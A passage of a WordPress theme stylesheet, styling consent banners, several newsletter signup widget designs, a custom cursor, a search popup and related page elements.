}
.penci-wrap-gprd-law.style-3 .penci-gprd-accept,
.penci-wrap-gprd-law.style-3 .penci-gprd-more {
	line-height: 20px;
}
.penci-wrap-gprd-law.style-3 .penci-gprd-accept {
	margin-left: 0;
	background: var(--pcaccent-cl);
}
.penci-wrap-gprd-law.style-3 .penci-gprd-law .penci-gprd-more {
	color: #fff;
	background: #000;
	padding: 6px 15px;
}
.penci-wrap-gprd-law.style-3.penci-wrap-gprd-law-close .penci-gprd-law {
	bottom: -30px;
}
.penci-wrap-gprd-law.style-4 .penci-gprd-law {
	max-width: 470px;
	margin: 30px;
	padding: 20px 30px;
	background: #fff;
	border: 1px solid var(--pcborder-cl);
	box-shadow: 1px 3px 6px rgba(50, 50, 50, 0.25);
}
.penci-wrap-gprd-law.style-4 .penci-gprd-law .penci-gprd-law-content {
	display: block;
	margin-bottom: 20px;
	font-size: 16px;
	line-height: 1.6;
}
.penci-wrap-gprd-law.style-4 .penci-gprd-accept,
.penci-wrap-gprd-law.style-4 .penci-gprd-more {
	line-height: 20px;
	display: block;
}
.penci-wrap-gprd-law.style-4 .penci-gprd-accept {
	margin-left: 0;
}
.penci-wrap-gprd-law.style-4 .penci-gprd-more {
	margin-top: 10px;
}
.penci-wrap-gprd-law.style-4.penci-wrap-gprd-law-close .penci-gprd-law {
	bottom: -30px;
}
.penci-wrap-gprd-law:not(.style-1) .penci-gdrd-show {
	right: auto;
	left: 30px;
}
.penci-a-post-subtitle {
  	margin: 0 0 10px;
  	font-weight: var(--pchead-wei);
}
.penci-a-post-subtitle.pcloop {
	pointer-events: none;
	cursor: not-allowed;
	margin: 8px 0 -2px;
	font-size: 105%;
	line-height: 1.25;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
}
.penci-ajax-more-button.disable {
	pointer-events: none;
	cursor: not-allowed;
}
.penci-toc-wrapper .penci-el-toc-table-of-content ul:not(:last-child),
.post-entry
	.penci-toc-wrapper
	.penci-el-toc-table-of-content
	ul:not(:last-child) {
	border-bottom: 1px solid var(--pcborder-cl);
}
.penci-toc-wrapper .penci-el-toc-table-of-content ul li,
.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul li {
	padding-top: 10px;
	padding-bottom: 10px;
}
.penci-toc-wrapper .penci-el-toc-table-of-content ul li:not(:last-child),
.post-entry
	.penci-toc-wrapper
	.penci-el-toc-table-of-content
	ul
	li:not(:last-child) {
	border-bottom: 1px solid var(--pcborder-cl);
}
.penci-toc-wrapper .penci-el-toc-table-of-content ul li a,
.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul li a {
	text-decoration: none;
	color: var(--pcheading-cl);
}
.penci-toc-wrapper .penci-el-toc-table-of-content ul li a:hover,
.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul li a:hover {
	color: var(--pcaccent-cl);
}
.penci-toc-wrapper .penci-el-toc-table-of-content ul ul,
.post-entry .penci-toc-wrapper .penci-el-toc-table-of-content ul ul {
	padding-left: 20px;
}
.penci-el-toc-wrapper,
.post-entry .penci-el-toc-wrapper {
	margin-bottom: 0;
}
.penci-owl-carousel.pcmarquee-slider:not(.penci-owl-loaded) > .swiper-wrapper > div,
.pcmarquee-slider .swiper-wrapper .swiper-slide {
	display: inline-block;
	width: auto;
	height: auto;
	margin-right: 30px;
}
.penci-owl-carousel.pcmarquee-slider:not(.penci-owl-loaded) > .swiper-wrapper > div:last-child,
.pcmarquee-slider .swiper-wrapper .swiper-slide:last-child {
	margin-right: 0;
}
.pcmarquee-slider .swiper-wrapper {
	overflow: hidden;
}
.pencisctn-sticky.pencisctn-active {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	z-index: 9999;
	transition: all 0.3s ease-in-out;
}
.pencisctn-sticky.pencisctn-footer.pencisctn-active {
	top: auto;
	bottom: 0;
}
body.admin-bar .pencisctn-sticky.pencisctn-header.pencisctn-active {
	top: 32px;
}
.penci-mc4wp-widget.penci-mailchimp-s5 .mc4wp-form-fields,
.penci-mailchimp-s5 .widget_mc4wp_form_widget {
	--iconsize: 70px;
	border: 5px solid var(--pcborder-cl);
	padding: 40px 20px 20px;
	position: relative;
	margin-top: var(--iconsize);
}
.penci-mc4wp-widget.penci-mailchimp-s5 .mc4wp-form-fields:before,
.penci-mailchimp-s5 .widget_mc4wp_form_widget:before {
	content: "\f0e0";
	font-family: "FontAwesome";
	display: flex;
	justify-content: center;
	align-items: center;
	font-size: 28px;
	color: #fff;
	width: var(--iconsize);
	height: var(--iconsize);
	background: var(--pcaccent-cl);
	position: absolute;
	border-radius: 50%;
	top: calc(-0.5 * var(--iconsize) - 5px);
	left: 50%;
	right: 50%;
	transform: translateX(-50%);
}
.penci-mailchimp-s5 .mc4wp-form input[type="submit"]:not(:hover) {
	background: var(--pcaccent-cl);
	color: var(--pcbg-cl);
}
.penci-mc4wp-widget.penci-mailchimp-s6 .mc4wp-form-fields,
.penci-mailchimp-s6 .widget_mc4wp_form_widget {
	--iconsize: 70px;
	border: 1px solid var(--pcborder-cl);
	padding: 40px 20px 20px;
	position: relative;
	margin-top: var(--iconsize);
	box-shadow: 0 0 14px rgba(0, 0, 0, 0.04);
}
.penci-mailchimp-s6 .mc4wp-form {
	max-width: 100%;
}
.penci-mc4wp-widget.penci-mailchimp-s6 .mc4wp-form-fields:before,
.penci-mailchimp-s6 .widget_mc4wp_form_widget:before {
	content: "";
	background: url("images/mailchimp/s6.svg");
	background-size: auto 60px;
	background-repeat: no-repeat;
	background-position: center center;
	width: 81px;
	height: 60px;
	position: absolute;
	top: calc(-0.5 * var(--iconsize) - 5px);
	left: 50%;
	right: 50%;
	transform: translateX(-50%) rotate(-22deg);
}
.penci-mailchimp-s6 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #ffbc2c;
	color: var(--pcbg-cl);
}
.penci-mailchimp-s6 .mc4wp-form-fields {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	column-gap: 10px;
}
.penci-mailchimp-s6 .mc4wp-form-fields input {
	margin-bottom: 0;
}
.penci-mailchimp-s6 .mc4wp-form-fields > p {
	flex: 1;
}
.penci-mailchimp-s6 .mc4wp-form-fields > p:last-child,
.penci-mailchimp-s6 .mc4wp-form-fields .mdes {
	flex: 100%;
}
.penci-mc4wp-widget.penci-mailchimp-s7 .mc4wp-form-fields,
.penci-mailchimp-s7 .widget_mc4wp_form_widget {
	--iconsize: 70px;
	border: 1px solid var(--pcborder-cl);
	padding: 0 20px 20px;
	position: relative;
	margin-top: var(--iconsize);
	border-top: 5px solid #000;
}
.penci-mc4wp-widget.penci-mailchimp-s7 .mc4wp-form-fields {
	margin-top: 0;
}
.penci-mc4wp-widget.penci-mailchimp-s7 .mc4wp-form-fields:before,
.penci-mailchimp-s7 .widget_mc4wp_form_widget:before {
	content: "\f0e0";
	font-family: "FontAwesome";
	display: flex;
	justify-content: center;
	align-items: center;
	font-size: 28px;
	color: #fff;
	width: var(--iconsize);
	height: var(--iconsize);
	background: #000;
	top: calc(-0.5 * var(--iconsize) - 5px);
	margin: 0 auto 40px;
}
.penci-mailchimp-s7 .mc4wp-form input[type="submit"]:not(:hover) {
	background: var(--pcaccent-cl);
	color: var(--pcbg-cl);
}
.penci-mailchimp-s7 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #000;
}
.penci-mailchimp-s7 .mc4wp-form-fields {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	column-gap: 10px;
}
.penci-mailchimp-s7 .mc4wp-form-fields input {
	margin-bottom: 0;
}
.penci-mailchimp-s7 .mc4wp-form-fields > p {
	flex: 1;
}
.penci-mailchimp-s7 .mc4wp-form-fields > p:last-child,
.penci-mailchimp-s7 .mc4wp-form-fields .mdes {
	flex: 100%;
}
.penci-mc4wp-widget.penci-mailchimp-s8 .mc4wp-form-fields,
.penci-mailchimp-s8 .widget_mc4wp_form_widget {
	--iconsize: 70px;
	border: 1px solid var(--pcborder-cl);
	padding: 20px;
	position: relative;
	margin-top: var(--iconsize);
	border-top: 5px solid #ffcb5a;
}
.penci-mc4wp-widget.penci-mailchimp-s8 .mc4wp-form-fields {
	margin-top: 0;
}
.penci-mailchimp-s8 .mc4wp-form input[type="submit"]:not(:hover) {
	background: var(--pcaccent-cl);
	color: var(--pcbg-cl);
}
.penci-mailchimp-s8 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #ffcb5a;
}
.penci-mc4wp-widget.penci-mailchimp-s9 .mc4wp-form-fields,
.penci-mailchimp-s9 .widget_mc4wp_form_widget {
	border: 1px solid var(--pcborder-cl);
	padding: 20px;
	position: relative;
	box-shadow: 0 0 14px rgba(0, 0, 0, 0.04);
}
.penci-mailchimp-s9 .mc4wp-form input[type="submit"]:not(:hover) {
	background: var(--pcaccent-cl);
	color: var(--pcbg-cl);
}
.penci-mailchimp-s9 .mc4wp-form-fields {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	column-gap: 0;
}
.penci-mc4wp-widget.penci-mailchimp-s9 .mc4wp-form-fields {
	flex-direction: column;
}
.penci-mailchimp-s9 .mc4wp-form-fields input {
	margin-bottom: 0;
}
.penci-mailchimp-s9 .mc4wp-form-fields > p {
	flex: 1;
}
.penci-mailchimp-s9 .mc4wp-form-fields .mdes {
	flex: 100%;
}
.penci-mc4wp-widget.penci-mailchimp-s10 .mc4wp-form-fields,
.penci-mailchimp-s10 .widget_mc4wp_form_widget {
	border: 1px solid var(--pcborder-cl);
	border-top: 0;
	padding: 20px;
	position: relative;
	box-shadow: 0 0 14px rgba(0, 0, 0, 0.04);
}
.penci-mc4wp-widget.penci-mailchimp-s10 .mc4wp-form-fields {
	padding: 20px;
}
.penci-mc4wp-widget.penci-mailchimp-s10 .mc4wp-form-fields:before,
.penci-mailchimp-s10 .widget_mc4wp_form_widget:before {
	position: absolute;
	top: -1px;
	left: -1px;
	right: -1px;
	height: 4px;
	background: #fff;
	background: repeating-linear-gradient(-45deg, #e91c2e, #a01521 19px, transparent 10px, transparent 30px, #7337df 20px, #7337df 46px, transparent 40px, transparent 57px);
	background-clip: border-box;
	background-clip: padding-box;
	content: "";
}
.penci-mailchimp-s10 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #e91c2e;
	color: var(--pcbg-cl);
}
.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields,
.penci-mailchimp-s11 .widget_mc4wp_form_widget {
	border: 1px solid var(--pcborder-cl);
	position: relative;
	box-shadow: 0 0 14px rgba(0, 0, 0, 0.04);
}
.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields {
	padding-bottom: 20px;
}
.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields:before,
.penci-mailchimp-s11 .widget_mc4wp_form_widget:before {
	content: "";
	background-image: url("images/mailchimp/s11.svg");
	width: 100%;
	display: block;
	background-repeat: no-repeat;
	background-position: center center;
	background-color: #fffbf1;
	padding: 120px 0;
	margin-bottom: 40px;
	border-bottom: 1px solid var(--pcborder-cl);
}
.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields:before {
	background-size: auto 120px;
}
.penci-mc4wp-widget.penci-mailchimp-s11 .mc4wp-form-fields p {
	padding-left: 20px;
	padding-right: 20px;
}
.penci-mailchimp-s11 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #e9ad25;
	color: var(--pcbg-cl);
}
.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields,
.penci-mailchimp-s12 .widget_mc4wp_form_widget {
	border: 1px solid var(--pcborder-cl);
	position: relative;
	box-shadow: 0 0 14px rgba(0, 0, 0, 0.04);
	background: #f2ffff;
	padding: 40px 0 0;
}
.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields:before,
.penci-mailchimp-s12 .widget_mc4wp_form_widget:before {
	content: "";
	background-image: url("images/mailchimp/s12.svg");
	width: 100%;
	display: block;
	background-repeat: no-repeat;
	background-position: center center;
	padding: 140px 0;
	margin-bottom: 40px;
}
.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields:before {
	background-size: auto 120px;
	padding: 80px 0;
}
.penci-mailchimp-s12 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #f3688d;
	color: var(--pcbg-cl);
}
.penci-mailchimp-s12 .mc4wp-form-fields {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	column-gap: 0;
}
.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields {
	flex-direction: column;
	padding-bottom: 20px;
}
.penci-mc4wp-widget.penci-mailchimp-s12 .mc4wp-form-fields p {
	padding-left: 20px;
	padding-right: 20px;
}
.penci-mailchimp-s12 .mc4wp-form-fields input {
	margin-bottom: 0;
}
.penci-mailchimp-s12 .mc4wp-form-fields > p {
	flex: 1;
}
.penci-mailchimp-s12 .mc4wp-form-fields .mdes {
	flex: 100%;
}
.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form,
.penci-mailchimp-s13 .widget_mc4wp_form_widget {
	border: 1px solid var(--pcborder-cl);
	position: relative;
	box-shadow: 0 0 14px rgba(0, 0, 0, 0.04);
	padding-bottom: 40px;
}
.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form {
	padding: 0;
}
.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form-fields {
	padding: 20px;
}
.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form:before,
.penci-mailchimp-s13 .widget_mc4wp_form_widget:before {
	content: "";
	background-image: url("images/mailchimp/s13.svg");
	width: 100%;
	display: block;
	background-repeat: no-repeat;
	background-position: center center;
	padding: 140px 0;
	margin-bottom: 40px;
	background-color: #cbf8ff;
}
.penci-mc4wp-widget.penci-mailchimp-s13 .mc4wp-form:before {
	padding: 120px 0;
	background-size: 150px auto;
	margin-bottom: 0;
}
.penci-mailchimp-s13 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #c52228;
	color: var(--pcbg-cl);
}
.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields,
.penci-mailchimp-s14 .widget_mc4wp_form_widget {
	border: 1px solid var(--pcborder-cl);
	position: relative;
	box-shadow: 0 0 14px rgba(0, 0, 0, 0.04);
	padding-bottom: 40px;
}
.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields:before,
.penci-mailchimp-s14 .widget_mc4wp_form_widget:before {
	content: "";
	background-image: url("images/mailchimp/s14.svg");
	width: 100%;
	display: block;
	background-repeat: no-repeat;
	background-position: center center;
	padding: 120px 0;
	margin-bottom: 40px;
}
.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields:before {
	background-size: auto 110px;
	padding: 60px 0;
	margin-bottom: 0;
}
.penci-mailchimp-s14 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #000;
	color: var(--pcbg-cl);
}
.penci-mailchimp-s14 .mc4wp-form-fields {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	column-gap: 0;
}
.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields {
	flex-direction: column;
}
.penci-mc4wp-widget.penci-mailchimp-s14 .mc4wp-form-fields p {
	padding-left: 20px;
	padding-right: 20px;
}
.penci-mailchimp-s14 .mc4wp-form-fields input {
	margin-bottom: 0;
}
.penci-mailchimp-s14 .mc4wp-form-fields > p {
	flex: 1;
}
.penci-mailchimp-s14 .mc4wp-form-fields .mdes {
	flex: 100%;
}
.penci-mc4wp-widget.penci-mailchimp-s15 .mc4wp-form-fields,
.penci-mailchimp-s15 .widget_mc4wp_form_widget {
	border: 1px solid var(--pcborder-cl);
	position: relative;
	box-shadow: 0 0 14px rgba(0, 0, 0, 0.04);
	padding: 20px 20px 30px;
	background: #000;
	color: #fff;
}
.penci-mailchimp-s15 .mc4wp-form input {
	border-color: #333;
	color: #fff;
}
.penci-mailchimp-s15 .mc4wp-form input[type="submit"]:not(:hover) {
	background: #208a4f;
	color: var(--pcbg-cl);
}
.penci-mailchimp-s15 .mc4wp-form-fields {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	column-gap: 0;
}
.penci-mc4wp-widget.penci-mailchimp-s15 .mc4wp-form-fields {
	flex-direction: column;
}
.penci-mailchimp-s15 .mc4wp-form-fields input {
	margin-bottom: 0;
}
.penci-mailchimp-s15 .mc4wp-form input:not([type="submit"]) {
	border-right: 0;
}
.penci-mailchimp-s15 .mc4wp-form-fields > p {
	flex: 1;
}
.penci-mailchimp-s15 .mc4wp-form-fields .mdes {
	flex: 100%;
}
.penci-el-mailchimp.penci-mailchimp-s8 .widget_mc4wp_form_widget {
	margin-top: 0;
}
.penci-el-mailchimp.penci-mailchimp-s9 .mc4wp-form-fields,
.penci-el-mailchimp.penci-mailchimp-s12 .mc4wp-form-fields,
.penci-el-mailchimp.penci-mailchimp-s14 .mc4wp-form-fields {
	column-gap: 20px;
}
.penci-el-mailchimp.penci-mailchimp-s9 .mc4wp-form-fields > p.msubmit,
.penci-el-mailchimp.penci-mailchimp-s12 .mc4wp-form-fields > p.msubmit,
.penci-el-mailchimp.penci-mailchimp-s14 .mc4wp-form-fields > p.msubmit {
	flex: 100%;
}
.penci-el-mailchimp.penci-mailchimp-s15 .mc4wp-form {
	max-width: 550px;
}
.penci-el-mailchimp.penci-mailchimp-s11 .widget_mc4wp_form_widget:before,
.penci-el-mailchimp.penci-mailchimp-s12 .widget_mc4wp_form_widget:before,
.penci-el-mailchimp.penci-mailchimp-s13 .widget_mc4wp_form_widget:before,
.penci-el-mailchimp.penci-mailchimp-s14 .widget_mc4wp_form_widget:before {
	background-size: 120px auto;
}
.penci-el-mailchimp.penci-mailchimp-s12 .widget_mc4wp_form_widget:before,
.penci-el-mailchimp.penci-mailchimp-s14 .widget_mc4wp_form_widget:before {
	padding-top: 80px;
	padding-bottom: 80px;
}
.penci-el-mailchimp.penci-mailchimp-s13 .widget_mc4wp_form_widget,
.penci-el-mailchimp.penci-mailchimp-s14 .widget_mc4wp_form_widget {
	padding-bottom: 0;
}
.penci-el-mailchimp.penci-mailchimp-s11 .mc4wp-form,
.penci-el-mailchimp.penci-mailchimp-s12 .mc4wp-form,
.penci-el-mailchimp.penci-mailchimp-s13 .mc4wp-form,
.penci-el-mailchimp.penci-mailchimp-s14 .mc4wp-form {
	margin-bottom: 30px;
}
.penci_az_taxonomy_listing_head {
	background: var(--pcaccent-cl);
	padding: 15px 10px;
  	margin-bottom: 40px;
}
.penci_az_taxonomy_listing_head.style-2 {
	background: none !important;
	padding: 0;
}
.penci_az_taxonomy_listing_head ul {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: center;
	column-gap: 10px;
}
.post-entry .penci_az_taxonomy_listing_head ul,
.post-entry .penci_az_taxonomy_listing_head ul li {
	list-style: none;
  	line-height: initial;
	margin: 0;
	padding: 0;
}
.penci_az_taxonomy_listing_head a,
.post-entry .penci_az_taxonomy_listing_head ul li a {
	color: #fff;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	font-size: 20px;
	text-transform: uppercase;
}
.penci_az_taxonomy_listing_head.style-2 a {
	padding: 0;
	background: var(--pcaccent-cl);
	width: 36px;
	display: inline-block;
	height: 36px;
	line-height: 36px;
	text-align: center;
}
.penci_az_taxonomy_listing {
  --col:3;
  --gap: 30px;
  display: flex;
  flex-wrap: wrap;
  flex-direction: row;
  column-gap: var(--gap);
  row-gap: var(--gap);
}
.penci_az_taxonomy_item {
  width: calc((100% - (var(--gap) * (var(--col) - 1))) / var(--col));
}
.penci_az_taxonomy_listing h3 {
  padding-bottom: 10px;
  margin-bottom: 30px;
  border-bottom: 5px solid var(--pcheading-cl);
  font-size: 22px;
}
.penci_az_taxonomy_item ul,
.penci_az_taxonomy_item ul li {
  list-style: none;
  padding: 0;
  margin: 0;
}
.penci_az_taxonomy_item ul li:not(:last-child) {
  border-bottom: 1px solid var(--pcborder-cl);
  padding-bottom: 15px;
  margin-bottom: 15px;
}
.penci_az_taxonomy_item a {
  color: var(--pctext-cl);
  display: flex;
  justify-content: space-between;
}
.penci_az_taxonomy_item .pcaz_tcount {
	color: var(--pcmeta-cl);
}
.item-content[data-excerpt-link]:hover {
    cursor: pointer;
}
.penci-cc-cursor {
	--pccrs-cccr: 3.75rem;
	--pccrs-ccsm: 2rem;
	--pccrs-ccesm: 1.25rem;
	--pccrs-ccinner: 0.5rem;
  	--pccrs-cn: #000;
	--pccrs-bw: 1px;
	--pccrs-bs: solid;
}
.penci-cc-cursor .circle-cursor {
	position: fixed;
	left: 0;
	top: 0;
	pointer-events: none;
	transform: translateZ(0);
	visibility: hidden;
	border-radius: 50%;
}
.penci-cc-cursor .penci-ccircle-cinner {
	margin-left: calc(var(--pccrs-ccinner) / 2 * (-1));
	margin-top: calc(var(--pccrs-ccinner) / 2 * (-1));
	width: var(--pccrs-ccinner);
	height: var(--pccrs-ccinner);
	z-index: 10000001;
	background-color: var(--pcaccent-cl);
}
.penci-cc-cursor .penci-ccircle-cinner.penci-clinkh {
	margin-left: calc(var(--pccrs-ccesm) / 2 * (-1));
	margin-top: calc(var(--pccrs-ccesm) / 2 * (-1));
	width: var(--pccrs-ccesm);
	height: var(--pccrs-ccesm);
	background-color: var(--pcaccent-cl);
	opacity: 0.5;
}
.penci-cc-cursor .penci-ccircle-couter {
	margin-left: calc(var(--pccrs-ccsm) / 2 * (-1));
	margin-top: calc(var(--pccrs-ccsm) / 2 * (-1));
	width: var(--pccrs-ccsm);
	height: var(--pccrs-ccsm);
	border: var(--pccrs-bw) var(--pccrs-bs) var(--pcaccent-cl);
	z-index: 10000000;
	opacity: 0.5;
	transition: all 0.125s ease-out;
}
.penci-cc-cursor .cursor-link.penci-ccircle-cinner {
	background: transparent !important;
}
.penci-cc-cursor .cursor-link.penci-ccircle-cinner.penci-clinkh {
	opacity: 1;
}
.penci-cc-cursor .cursor-link.penci-ccircle-cinner svg {
	fill: var(--pcbg-cl);
}
.penci-cc-cursor .cursor-link.penci-ccircle-couter.penci-clinkh {
	margin-left: calc(var(--pccrs-cccr) / 2 * (-1));
	margin-top: calc(var(--pccrs-cccr) / 2 * (-1));
	width: var(--pccrs-cccr);
	height: var(--pccrs-cccr);
	background-color: color-mix(
		in srgb,
		var(--pccrs-cn) 75%,
		transparent
	);
	border: none;
}
.penci-cc-cursor a[data-cursor-class] {
	cursor: none;
}
.pencihd-progress-container {
    position: fixed;
    bottom: 80px;
    right: 20px;
    width: 40px;
    height: 40px;
    z-index: 1000;
}
.pencihd-progress-container svg {
    transform: rotate(-90deg);
    width: 100%;
    height: 100%;
}
.pencihd-progress-container circle {
    fill: none;
    stroke-width: 5;
    stroke-linecap: round;
}
.pencihd-progress-container circle.bg {
    stroke: #ddd;
}
.pencihd-progress-container circle.progress {
    stroke: var(--pcaccent-cl);
    stroke-dasharray: 100;
    stroke-dashoffset: 100;
    transition: stroke-dashoffset 0.2s ease-out;
}
body.pczoomt-effect .standard-post-image,
body.pczoomt-effect .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image,
body.pczoomt-effect .widget ul.side-newsfeed li .side-item .side-image,
body.pczoomt-effect .grid-mixed .thumbnail,
body.pczoomt-effect .penci-grid li .item > .thumbnail,
body.pczoomt-effect .penci-masonry .item-masonry > .thumbnail {
  overflow: hidden;
}
body.pczoomt-effect .standard-post-image > a img,
body.pczoomt-effect .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a,
body.pczoomt-effect .widget ul.side-newsfeed li .side-item .side-image a,
body.pczoomt-effect .grid-mixed .thumbnail .penci-image-holder,
body.pczoomt-effect .penci-grid li .item > .thumbnail .penci-image-holder,
body.pczoomt-effect .penci-masonry .item-masonry > .thumbnail .penci-image-holder {
  transition: 0.5s all ease-in-out;
}
body.pczoomt-effect .standard-post-image > a:hover img,
body.pczoomt-effect .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a:hover,
body.pczoomt-effect .widget ul.side-newsfeed li .side-item .side-image a:hover,
body.pczoomt-effect .grid-mixed .thumbnail:hover .penci-image-holder,
body.pczoomt-effect .penci-grid li .item > .thumbnail:hover .penci-image-holder,
body.pczoomt-effect .penci-masonry .item-masonry > .thumbnail:hover .penci-image-holder {
  transform: scale(1.2);
}
.penci-visitor-count {
	position: fixed;
	max-width: calc( 100% - 60px );
	padding: 10px 20px 10px 35px;
	border-radius: 5px;
	box-shadow: 0px 0px 8px rgba(55,55,55,0.2);
	opacity: 0;
	transition: 0.3 all ease-in-out;
	transform: translateY(-30px);
	text-align: left;
	z-index: 999;
	font-size: 12px;
	font-weight: bold;
	background: url('images/fire.svg') 10px center;
	background-size: 20px auto;
	background-repeat: no-repeat;
	background-color: #fff;
}
.penci-visitor-count.active {
	opacity: 1;
	transform: translateY(0);
}
.penci-visitor-count.bottom-left {
	bottom: 30px;
	left: 30px;
}
.penci-visitor-count.bottom-right {
	bottom: 30px;
	right: 30px;
}
.penci-visitor-count.top-right {
	top: 30px;
	right: 30px;
}
.penci-visitor-count.top-left {
	top: 30px;
	left: 30px;
}
.penci-article-feedback {
	background-color: #f1f1f1;
	margin-top: 30px;
	padding: 15px;
	text-align: center;
	display: flex;
	align-items: center;
	justify-content: center;
	column-gap: 30px;
}
@media only screen and (max-width:767px) {
	.penci-article-feedback {
	  flex-direction: column;
	  row-gap: 10px;
	}
}  
.penci-afb-yn {
	display: flex;
  	flex-wrap: wrap;
}
.penci-afb-yn span {
	padding: 10px 20px;
	background-color: #fff;
	color: var(--pcheading-cl);
	cursor: pointer;
	font-size: 12px;
	transition: 0.3s all ease-in-out;
	display: flex;
  	justify-content: center;
  	align-items: center;
	column-gap: 5px;
}
.penci-afb-yn span svg {
	width: 15px;
  	height: auto;
	transition: 0.3s all ease-in-out;
}
.penci-afb-yn span + span svg {
	transform: rotate(180deg);
}
.penci-afb-yn span:hover {
	background-color: var(--pcaccent-cl);
	color: #fff;
}
.penci-afb-yn span:hover svg {
	fill: #fff;
}
.penci-afb-yn span i {
	font-style: normal;
}
.penci-afb-yn span i:before {
	content: '( ';
}
.penci-afb-yn span i:after {
	content: ' )';
}
.penci-afb-yn span:active {
	background-color: var(--pcaccent-cl);
	color: #fff;
}
.penci-afb-yn span:first-child {
	margin-right: 0.4em;
}
.penci-afb-yn span:last-child {
	margin-left: 0.4em;
}
.penci-article-feedback.penci-afb-disabled {
	pointer-events: none;
}
.penci-advcal-label {
	display: block;
}
.penci-advcal-mouse-disabled {
	pointer-events: none;
}
.penci-advcal-hidden {
	display: none;
}
.penci-advcal-form {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	justify-content: space-between;
}
.penci-advcal-form .penci-advcal-field-wrap {
	width: 100%;
}
.penci-advcal-el-radio-inline-yes {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	column-gap: 15px;
}
.penci-hsubmenu-overlay-wrapper {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 999;
	background: rgba(55,55,55,0.8);
	transition: 0.3s all ease-in-out;
	opacity: 0;
	visibility: hidden;
}
body.menu-hover .penci-hsubmenu-overlay-wrapper {
	opacity: 1;
	visibility: visible;
}
.show-search.pcbds-popup {
	opacity: 0;
	visibility: hidden;
	position: fixed;
	max-width: 999px;
	left: 50%;
	transform: translateX(-50%) translateY(-50%);
	top: calc(50% - 50px);
	padding: 40px;
	height: auto;
	z-index: 999999;
	transition: all 0.3s ease-in-out;
	display: block;
	height: initial !important;
}
.show-search.pcbds-popup.active {
	top: 50%;
	opacity: 1;
	visibility: visible;
}
.show-search.pcbds-popup form.pc-searchform input.search-input {
	position: static;
	border: 1px solid var(--pcborder-cl);
}
.show-search.pcbds-popup form.pc-searchform .pc-searchform-inner {
	display: flex;
	flex-direction: row;
	justify-content: space-between;
	gap: 15px;
	width: 100%;
}
.show-search.pcbds-popup form.pc-searchform .search-input {
	height: auto;
  	padding: 0 15px;
}
.show-search.pcbds-popup .close-search {
	--size: 22px;
	right: 10px;
  	top: 10px;
	width: var(--size);
	height: var(--size) !important;
  	line-height: var(--size) !important;
	color: var(--pcheading-cl);
	font-size: var(--size);
}
.show-search.pcbds-popup form.pc-searchform .searchsubmit {
  	display: block;
}
.show-search.pcbds-popup form.pc-searchform .searchsubmit:after {
	content: '\f105';
	font-family: 'FontAwesome';
	margin-left: 10px;
}
.show-search.pcbds-popup .penci-search-form form.penci-ajax-search button {
	font-size: 12px;
	height: 58px;
}
.pc-search-top-title {
	margin-bottom: 15px;
	font-size: 22px;
}
.pc-search-suggest-term {
	margin-top: 15px;
}
.pc-search-popup-overlay {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	left: 0;
	z-index: 9999;
	width: 100vw;
	height: 100vh;
	background: rgba(17, 17, 17, 0.75);
	visibility: hidden;
	opacity: 0;
	margin: 0 !important;
	padding: 0 !important;
	transition: all 0.3s ease-in-out;
	backdrop-filter: blur(5px);
}
body.search-open .pc-search-popup-overlay {
	visibility: visible;
	opacity: 1;
}
.pc-search-recent-posts {
	margin-top: 30px;
}
.pc-search-recent-posts > h3 {
	margin-bottom: 15px;
	font-size: 18px;
}
@media only screen and (max-width: 960px) {
	.pc-search-recent-posts {
		display: none;
	}
	.show-search.pcbds-popup form.pc-searchform .pc-searchform-inner {
		flex-direction: column;
	}
}
body.pah-underline .entry-title a {
	background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);
	background-size: 0 3px;
	background-repeat: no-repeat;
	background-position: left 100%;
	word-break: break-word;
}
body.pah-underline .entry-title a:hover {
  	background-size: 100% 3px;
}
.penci-post-sticky-nav {
	position: fixed;
	top: 120px;
	left: 0;
	right: 0;
	background: rgba(255,255,255,0.99);
	z-index: 9999;
	opacity: 0;
	visibility: hidden;
	transition: 0.3s all ease-in-out;
